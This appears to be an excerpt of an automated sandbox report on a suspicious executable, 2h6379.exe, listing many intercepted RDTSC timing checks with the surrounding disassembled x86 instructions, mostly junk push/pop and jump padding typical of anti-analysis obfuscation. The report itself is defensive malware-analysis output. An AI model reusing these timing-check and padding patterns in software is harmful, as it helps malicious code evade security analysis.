Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C00D1 second address: 52C00D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C00D7 second address: 52C00FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop esi 0x00000005 mov ah, bh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC110B5E0A8h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C00FE second address: 52C0104 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C017F second address: 52C01A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a leave 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC110B5E0A4h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C01A0 second address: 52C0D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov di, 3580h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ret 0x0000000d nop 0x0000000e and bl, 00000001h 0x00000011 movzx eax, bl 0x00000014 lea esp, dword ptr [ebp-0Ch] 0x00000017 pop esi 0x00000018 pop edi 0x00000019 pop ebx 0x0000001a pop ebp 0x0000001b ret 0x0000001c add esp, 04h 0x0000001f jmp dword ptr [00E5A41Ch+ebx*4] 0x00000026 push edi 0x00000027 call 00007FC110C60A37h 0x0000002c push ebp 0x0000002d push ebx 0x0000002e push edi 0x0000002f push esi 0x00000030 sub esp, 000001D0h 0x00000036 mov dword ptr [esp+000001B4h], 00E5CB10h 0x00000041 mov dword ptr [esp+000001B0h], 000000D0h 0x0000004c mov dword ptr [esp], 00000000h 0x00000053 mov eax, dword ptr [00E581DCh] 0x00000058 call eax 0x0000005a mov edi, edi 0x0000005c jmp 00007FC110C3B044h 0x00000061 xchg eax, ebp 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007FC110C3B047h 0x00000069 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0D5F second address: 52C0DBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FC110B5E09Eh 0x00000011 xchg eax, ebp 0x00000012 jmp 00007FC110B5E0A0h 0x00000017 mov ebp, esp 0x00000019 jmp 00007FC110B5E0A0h 0x0000001e cmp dword ptr [75AF459Ch], 05h 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FC110B5E0A7h 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0DBC second address: 52C0E0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FC181408C5Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FC110C3B043h 0x00000017 call 00007FC110C3B048h 0x0000001c pop eax 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0E0F second address: 52C0E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52C0E15 second address: 52C0E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0019 second address: 52D006A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E0A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007FC110B5E099h 0x0000000e jmp 00007FC110B5E09Eh 0x00000013 push eax 0x00000014 pushad 0x00000015 mov ax, di 0x00000018 mov dx, F9C0h 0x0000001c popad 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FC110B5E0A5h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D006A second address: 52D00A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC110C3B047h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jmp 00007FC110C3B03Fh 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D00A4 second address: 52D00A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D00A8 second address: 52D00BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D00BA second address: 52D00F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 movsx edx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007FC110B5E0A4h 0x00000011 call 00007FC181323B2Eh 0x00000016 push 75A92B70h 0x0000001b push dword ptr fs:[00000000h] 0x00000022 mov eax, dword ptr [esp+10h] 0x00000026 mov dword ptr [esp+10h], ebp 0x0000002a lea ebp, dword ptr [esp+10h] 0x0000002e sub esp, eax 0x00000030 push ebx 0x00000031 push esi 0x00000032 push edi 0x00000033 mov eax, dword ptr [75AF4538h] 0x00000038 xor dword ptr [ebp-04h], eax 0x0000003b xor eax, ebp 0x0000003d push eax 0x0000003e mov dword ptr [ebp-18h], esp 0x00000041 push dword ptr [ebp-08h] 0x00000044 mov eax, dword ptr [ebp-04h] 0x00000047 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004e mov dword ptr [ebp-08h], eax 0x00000051 lea eax, dword ptr [ebp-10h] 0x00000054 mov dword ptr fs:[00000000h], eax 0x0000005a ret 0x0000005b jmp 00007FC110B5E0A0h 0x00000060 sub esi, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D00F7 second address: 52D00FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D00FB second address: 52D0101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0101 second address: 52D0115 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC110C3B040h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0115 second address: 52D0128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-1Ch], esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 mov al, 82h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D017A second address: 52D0180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52D0180 second address: 52D0186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E06B9 second address: 52E070E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC110C3B041h 0x00000009 jmp 00007FC110C3B03Bh 0x0000000e popfd 0x0000000f jmp 00007FC110C3B048h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FC110C3B040h 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E070E second address: 52E0712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E0712 second address: 52E0718 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E0718 second address: 52E0745 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E0A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov cl, 5Ch 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 mov ebx, 73C20DEAh 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E0745 second address: 52E074B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E074B second address: 52E0762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov di, 4AECh 0x00000012 mov bx, 29D8h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E0762 second address: 52E0768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E0768 second address: 52E0790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+0Ch] 0x0000000b jmp 00007FC110B5E0A4h 0x00000010 test esi, esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E0790 second address: 52E07DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B045h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FC1813E8C44h 0x0000000f jmp 00007FC110C3B03Eh 0x00000014 cmp dword ptr [75AF459Ch], 05h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FC110C3B047h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E07DD second address: 52E0814 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC110B5E0A2h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FC181323D38h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC110B5E0A7h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 52E08E4 second address: 52E090D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B049h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ax, di 0x00000010 mov di, 0E1Ah 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6BFDA3E second address: 6BFDA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC110B5E09Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6BFDA4E second address: 6BFDA58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FC110C3B036h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D687F4 second address: 6D687FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D687FA second address: 6D68812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FC110C3B040h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D68812 second address: 6D6883E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110B5E09Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FC110B5E0A9h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D6883E second address: 6D6886C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007FC110C3B036h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FC110C3B03Dh 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a ja 00007FC110C3B038h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7A959 second address: 6D7A95F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D3C7 second address: 6D7D3CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D3CB second address: 6D7D3CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D3CF second address: 6D7D49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FC110C3B038h 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 jmp 00007FC110C3B044h 0x00000016 pop eax 0x00000017 pushad 0x00000018 add eax, 28ABB010h 0x0000001e movsx ebx, dx 0x00000021 popad 0x00000022 push 00000003h 0x00000024 push 00000000h 0x00000026 push esi 0x00000027 call 00007FC110C3B038h 0x0000002c pop esi 0x0000002d mov dword ptr [esp+04h], esi 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc esi 0x0000003a push esi 0x0000003b ret 0x0000003c pop esi 0x0000003d ret 0x0000003e mov ecx, 7710B0E6h 0x00000043 push 00000000h 0x00000045 jmp 00007FC110C3B047h 0x0000004a push 00000003h 0x0000004c mov edi, 3C0C182Ch 0x00000051 call 00007FC110C3B039h 0x00000056 push edi 0x00000057 jmp 00007FC110C3B042h 0x0000005c pop edi 0x0000005d push eax 0x0000005e jmp 00007FC110C3B045h 0x00000063 mov eax, dword ptr [esp+04h] 0x00000067 push eax 0x00000068 jl 00007FC110C3B038h 0x0000006e pushad 0x0000006f popad 0x00000070 pop eax 0x00000071 mov eax, dword ptr [eax] 0x00000073 push eax 0x00000074 push edx 0x00000075 jo 00007FC110C3B040h 0x0000007b jmp 00007FC110C3B03Ah 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D49F second address: 6D7D4A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D4A6 second address: 6D7D501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007FC110C3B03Ch 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FC110C3B038h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b xor dh, 0000000Ah 0x0000002e lea ebx, dword ptr [ebp+124530E6h] 0x00000034 sub edi, 1FB72E21h 0x0000003a push eax 0x0000003b pushad 0x0000003c jmp 00007FC110C3B03Bh 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D501 second address: 6D7D505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D505 second address: 6D7D509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D571 second address: 6D7D57B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC110B5E096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D57B second address: 6D7D591 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC110C3B041h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D591 second address: 6D7D5B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007FC110B5E0A3h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D5B5 second address: 6D7D5B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D5B9 second address: 6D7D602 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC110B5E096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov dx, 032Ch 0x00000010 push 00000000h 0x00000012 stc 0x00000013 mov edi, dword ptr [ebp+122D383Ah] 0x00000019 call 00007FC110B5E099h 0x0000001e jo 00007FC110B5E0A0h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FC110B5E0A4h 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D602 second address: 6D7D607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D7D607 second address: 6D7D622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jne 00007FC110B5E09Ch 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D901F1 second address: 6D90209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FC110C3B036h 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d jnp 00007FC110C3B040h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9E54C second address: 6D9E558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9E558 second address: 6D9E55E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9E55E second address: 6D9E562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9E562 second address: 6D9E566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9E566 second address: 6D9E579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC110B5E09Dh 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D6F361 second address: 6D6F366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9C360 second address: 6D9C366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9C366 second address: 6D9C36C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9C36C second address: 6D9C376 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC110B5E096h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9C376 second address: 6D9C385 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC110C3B03Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9C7A8 second address: 6D9C7AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9C8F4 second address: 6D9C914 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007FC110C3B036h 0x00000013 pop ecx 0x00000014 jmp 00007FC110C3B03Ch 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9C914 second address: 6D9C934 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC110B5E0A9h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9CD9B second address: 6D9CDA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9CDA0 second address: 6D9CDA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9CEE1 second address: 6D9CEE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9CEE5 second address: 6D9CEEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	RDTSC instruction interceptor: First address: 6D9CEEB second address: 6D9CEF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
